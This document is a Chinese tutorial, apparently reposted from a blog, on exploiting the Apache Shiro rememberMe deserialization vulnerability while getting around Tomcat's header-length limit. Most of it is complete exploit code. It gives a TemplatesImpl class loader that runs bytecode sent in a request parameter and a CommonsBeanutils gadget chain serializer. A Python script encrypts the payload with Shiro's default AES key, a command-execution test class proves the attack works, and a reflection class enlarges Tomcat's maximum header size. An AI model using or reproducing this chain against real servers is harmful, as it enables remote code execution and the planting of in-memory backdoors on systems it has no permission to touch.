一、背景
yishiro反序列化漏洞常规利用点在数据包的header头中,在这里直接插入目标代码,生成的payload是很长的,肯定会超过中间件 header 长度限制,如何解决这个问题呢?
主要绕过的方式有以下几种:
1.从外部或从 HTTP 请求 body 中加载类字节码,header头中的payload仅仅实现读取和加载外部字节码的功能
2.反射修改 AbstractHttp11Protocol 的 maxHttpHeaderSize
3.class bytes使用gzip + base64压缩编码
测试环境:
shiroMemshell/springboot-shiro at master · yyhuni/shiroMemshell · GitHub
GitHub - HolaAsuka/Shiro550withSpringboot: Manual recurrence of Shiro550 with Springboot
方法一:从外部或从 HTTP 请求 body 中加载类字节码
1.构造请求头中的类加载器
新建项目修改pom,添加如下两个依赖,一个是tomcat的,一个是springframework的。
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.50</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>2.5</version>
</dependency>
</dependencies>
构造header头的类构造器
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet {
static{
try{
//获取到当前请求的request对象
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
//反射获取request对象的request参数
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
//获取当前request的response对象
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
//获取当前request的session对象
javax.servlet.http.HttpSession session = request.getSession();
//获取当前request对象的请求参数classData
String classData=request.getParameter("classData");
//将获取到的classData里面的内容base64解码成byte[]对象
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
//类加载器反射获取defineClass方法,这里调用的方法是defineClass(byte[] b, int off, int len)
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
//defineClassMethod调用执行
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
//将执行结果传入到request、response、session三个对象
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
编译获取class文件
2.构造CB链进行序列化
代码如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Collections;
import java.util.PriorityQueue;
public class CommonsBeanutilsShiroPayload{
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//1.构造TemplatesImpl对象,其中code就是读取第一步构造好的类加载器。
byte[] code = Files.readAllBytes(Paths.get("C:\\tools\\fuxian\\bianyi\\target\\classes\\MyClassLoader.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//2.实例化BeanComparator,其中comparator的部分就用我们找到的替换类
// BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
//3.实例化优先队列PriorityQueue,如下因为我们上面comparator是String类型,所以在add的时候要用String类型的字符串。
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);
//4.反射将property 的值设置成恶意的outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
//5.序列化到文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
oos.writeObject(queue);
oos.close();
}
}
执行完之后获取到序列化好的test.bin文件
3.构造rememberMe字段内容
通过以往的构造payload的exp.py代码如下, **将如上制作好的test.bin复制到这个exp.py同目录下**
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# test.bin为编译好的序列化链的内容
data = get_file_data("test.bin")
print(aes_enc(data))
复制b' '之间的内容到burpsuite的cookie中rememberMe字段中备用。
4.构造字节码代码执行文件
此处为了验证可以执行外部字节码内容,我们构造一个弹计算器的payload如下: - 此处遇到一个坑,如果写static静态函数来代码执行的话,会一直报错,提示 **java.lang.InstantiationException: CalcTest,**网上查找原因是因为反射调用invoke的时候需要执行无参构造函数的,所以这里直接写了无参构造函数。
#CalcTest
public class CalcTest {
public CalcTest() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
将其编译
javac CalcTest.java
获取其base64编码内容
cat CalcTest.class |base64|sed ':label;N;s/\n//;b label'
将如上base64编码的内容复制到burpsuite中,作为calssData的值,在发送请求,即可执行字节码中的内容,弹出计算器。
方法二:反射修改 AbstractHttp11Protocol 的 maxHttpHeaderSize
代码如下:(还未实践)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
版权归原作者 Thunderclap_ 所有, 如有侵权,请联系我们删除。